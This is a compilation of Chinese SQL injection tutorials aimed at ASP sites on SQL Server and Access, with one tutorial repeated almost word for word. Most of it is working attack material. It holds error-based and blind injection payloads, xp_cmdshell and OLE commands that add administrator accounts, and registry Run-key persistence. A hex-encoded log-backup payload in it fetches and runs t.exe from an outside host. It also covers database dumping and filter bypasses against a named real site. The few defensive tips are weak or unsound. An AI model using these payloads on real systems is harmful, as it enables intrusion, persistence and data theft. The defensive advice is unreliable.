Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
可怕的事情出现了,服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。

危害扩大--获取服务器所有的库名、表名、字段名

接着,我们在输入框中输入如下信息:“t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此时发现第三个输入框有字数长度的限制,然而这种客户端的限制形同虚设,直接通过Google浏览器就能去除。
image
点击登录,返回的信息如下:
Conversion failed when converting the nvarchar value 'master' to data type int.
数据库名称“master”通过异常被显示出来!依次改变上面SQL语句中的序号,就能得到服务器上所有数据库的名称。
接着,输入信息如下:“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--
得到返回信息如下:
Conversion failed when converting the nvarchar value 'spt_fallback_db' to data type int.
我们得到了master数据库中的第一张表名:“spt_fallback_db”,同上,依次改变序号,可得到该库全部表名。
现在我们以“spt_fallback_db”表为例,尝试获取该表中所有的字段名。在输入框中输入以下代码:“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');
于是,得到错误提示如下:
"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";
这样第一个字段名“xserver_name”就出来了,依次改变序号,就能遍历出所有的字段名。

最终目的--获取数据库中的数据

写到这里,我们已知通过SQL注入能获取全部的数据库,表,及其字段,为了防止本文完全沦为注入教程,获取数据的代码就不再描述,而这篇文章的目的也已达到,SQL注入意味着什么?意味着数据库中所有数据都能被盗取
当知道这个危害以后,是否还能有人对SQL注入漏洞置之不理?

结语

关于安全性,本文可总结出一下几点:
  1. 对用户输入的内容要时刻保持警惕。
  2. 只有客户端的验证等于没有验证。
  3. 永远不要把服务器错误信息暴露给用户。
除此之外,我还要补充几点:
  1. SQL注入不仅能通过输入框,还能通过Url达到目的。
  2. 除了服务器错误页面,还有其他办法获取到数据库信息。
  3. 可通过软件模拟注入行为,这种方式盗取信息的速度要比你想象中快的多。
  4. 漏洞跟语言平台无关,并非asp才有注入漏洞而asp.net就没有注入漏洞,一切要看设计者是否用心

SQL Server注入大全及防御


责任编辑:林洪技作者:Ray   2007-09-10   
    【IT168专稿】SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。
    一、执行系统命令
    利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:
    exec master..xp_cmdshell 'net user ray ray /add'
    xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。


    利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属 性run执行命令。
    DECLARE @shell INT
    EXEC SP_OAcreate 'wscript.shell',@shell out
    EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'


    开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0    \Engines','SandBoxMode','REG_DWORD',0


    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');


    除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。
    exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
    use msdb exec sp_delete_job null,'x'
    exec sp_add_job 'x'
    exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'
    exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'


 二、写任意文件执行命令
    利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'


    备份日志到启动项
    我们可以开启一个数据库的完全恢复模式,然后新建个表,插入要备份进日志的命令,最后把日志备份成批处理文件到用户启动文件夹,机器重新启动后就会运行这个文件。
    alter database msdb set RECOVERY FULL--
    create table cmd (a image)--
    backup log msdb to disk = 'c:\cmd1' with init--
    insert into cmd (a) values     (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--
    backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--

 
    三、任意权限用户执行命令
    在任意权限的服务器角色下,我们只要知道服务器的SYSADMIN角色的帐户和密码就能利用OPENROWSET宏执行命令
    select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
四、其他获取系统信息     历遍目录
    exec master.dbo.xp_dirtree 'c:\'




    获取子目录
    exec master.dbo.xp_subdirs 'c:\'



    列举可用的系统分区
    exec master.dbo.xp_availablemedia




    判断目录或文件是否存在
    exec master..xp_fileexist 'c:\boot.ini'


    五、防御SQL注入有妙法
    1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
    2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。
    3.把真正的管理员密码放在ID2后的任何一个位置。
    我们通过上面的三步完成了对数据库的修改。
    这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

安全入门:SQL注入漏洞全接触

安全入门:SQL注入漏洞全接触

http://www.webjx.com  更新日期:2005-02-26 08:07  出处:网页教学网  作者:
  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 
  但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 
  根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我 们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了 解ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...  
  入 门 篇  
   如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。   
  第一节、SQL注入原理  
  以下我们从一个网站www.webjx.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。  
  在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.webjx.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:  
  Microsoft JET Database Engine 错误 '80040e14'
  字符串的语法错误 在查询表达式 'ID=49'' 中。
  /showdetail.asp,行8  
  从这个错误提示我们能看出下面几点:  
  1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
  2.程序没有判断客户端提交的数据是否符合程序要求。
  3.该SQL语句所查询的表中有一名为ID的字段。  
  从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。  
  第二节、判断能否进行SQL注入  
  看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?  
  首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。  
  其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的.
  那么,什么样的测试方法才是比较准确呢?答案如下: 
  ① http://www.webjx.com/showdetail.asp?id=49
  ② http://www.webjx.com/showdetail.asp?id=49 and 1=1
  ③ http://www.webjx.com/showdetail.asp?id=49 and 1=2  
  这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:  
  可以注入的表现:  
  ① 正常显示(这是必然的,不然就是程序有错误了)
  ② 正常显示,内容基本与①相同
  ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next) 
  不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。  
  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。   
  第三节、判断数据库类型及注入方法  
  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。  
  怎么让程序告诉你它使用的什么数据库呢?来看看:  
  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:  
  http://www.webjx.com/showdetail.asp?id=49 and user>0  
  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它 的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示 是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。   
   顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错 误,而不是”sa”。   
  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提 示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。  
  在确认可以注入的情况下,使用下面的语句:  
  http://www.webjx.com/showdetail.asp?id=49 and (select count(*) from sysobjects)>0
  http://www.webjx.com/showdetail.asp?id=49 and (select count(*) from msysobjects)>0  
  如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.webjx.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。  
  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一 般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验 证。
  接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:  
  第一节、SQL注入的一般步骤  
  首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。  
  其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:  
  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
  Select * from 表名 where 字段=49
  注入的参数为ID=49 And [查询条件],即是生成语句:
  Select * from 表名 where 字段=49 And [查询条件]  
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
  Select * from 表名 where 字段=’连续剧’
  注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
  Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’  
  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
  Select * from 表名 where 字段like ’%关键字%’
  注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
  Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’  
  接着,将查询条件替换成SQL语句,猜解表名,例如:  
  ID=49 And (Select Count(*) from Admin)>=0  
  如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。  
  表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。  
  有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。  
  有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。  
  最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
  我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:  
  http://www.webjx.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0  
  先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8  
  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:  
  id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0  
  同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。  
  第二节、SQL注入常用函数  
  有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。  
  Access:asc(字符) SQLServer:unicode(字符)
  作用:返回某字符的ASCII码  
  Access:chr(数字) SQLServer:nchar(数字)
  作用:与asc相反,根据ASCII码返回字符  
  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串  
  Access:abc(数字) SQLServer:abc (数字)
  作用:返回数字的绝对值(在猜解汉字的时候会用到) 
  Access:A between B And C SQLServer:A between B And C
  作用:判断A是否界于B与C之间  
  第三节、中文处理方法  
  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。  
  先说一点常识:  
  Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。  
  SQLServer中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。  
   了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。
  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。  
  第一节、利用系统表注入SQLServer数据库  
  SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:  
  ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是 Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密 码为password的windows的帐号,接着:  
  ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
  ③ http://Site/url.asp?id=1 ;;and db_name()>0  
  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。  
  ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--  
  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
  ⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0  
  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们 聪明的读者思考吧。  
  ⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0 
  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。 
  第二节、绕过程序限制继续注入  
  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。  
  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:  
  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。  
  第三节、经验小结  
  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。  
  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。 
  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。  
  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。  
  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
  防 范 方 法
  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:
  Function SafeRequest(ParaName,ParaType)
   '--- 传入参数 ---
   'ParaName:参数名称-字符型
   'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符) 
   Dim ParaValue
   ParaValue=Request(ParaName)
   If ParaType=1 then
   If not isNumeric(ParaValue) then
   Response.write "参数" & ParaName & "必须为数字型!"
   Response.end
   End if
   Else
   ParaValue=replace(ParaValue,"'","''")
   End if
   SafeRequest=ParaValue
  End function  
   文章到这里就结束了,不管你是安全人员、技术爱好者还是程序员,我都希望本文能对你有所帮助。

SQL注入工具

1、SQLIer
SQLIer可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。

2、SQLMap
这是一个自动的“盲目”SQL注入工具,它用python开发,它能执行一个动态的数据库管理系统指纹识别,可以完整地穷举远程数据库。

3、SQLID
此工具是一个SQL注入漏洞挖掘器,是一个命令行实用程序,它能够查找SQL注入漏洞和网站中的常见错误。

4、SQL Power Injector
SQL Power Injector可帮助渗透测试人员找到并利用网页上的漏洞。目前,它支持SQL Server、Oracle、MYSQL、Sybase/Adaptive Sever和DB2等数据库,但在使用inline注入时,还可借助现有的数据库管理系统来使用此软件。

5、SQLNinja
Sqlninja可以利用以SQL Server为后端数据支持的应用程序的漏洞,其主要目标是提供对有漏洞的数据库服务器的远程访问。

SQL注入攻击三部曲之入门篇


2010-09-14 16:36 佚名 安全在线 我要评论(3) 字号:T | T
一键收藏,随时查看,分享好友!
如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=& gt;高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
服务器安全管理员和攻击者的战争仿佛永远没有停止的时候,针对国内网站的ASP架构的SQL注入攻击又开始大行其道。本篇文章通过SQL注入攻击原理引出SQL注入攻击的实施方法,旨在企业安全管理员能够通过技术学习提升自己的安全意识。
第一节、SQL注入原理
以下我们从一个网www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:
Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'ID=49'' 中。
/showdetail.asp,行8
从这个错误提示我们能看出下面几点:
1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
2. 程序没有判断客户端提交的数据是否符合程序要求。
3. 该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入
看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?
其实,这并不是最好的方法,为什么呢?
首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的
那么,什么样的测试方法才是比较准确呢?答案如下:
① http://www.mytest.com/showdetail.asp?id=49
② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:
可以注入的表现:
① 正常显示(这是必然的,不然就是程序有错误了)
② 正常显示,内容基本与①相同
③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)
不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:
SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含 义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示 是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错 误,而不是”sa”。
如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提 示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com /showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来 说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。


通过入门篇的学习,我们知道了SQL注入攻击的判断方法,但是如果想侵入网站,获取网站的机密内容,那么仅靠入门篇的知识是无法达到的。本篇文章我们将进一步的分析SQL注入攻击。
首先,我们先看看SQL注入的一般步骤:
第一节、SQL注入的一般步骤
首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:
(A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
Select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连续剧’
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
&copy; 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
Select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8
当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
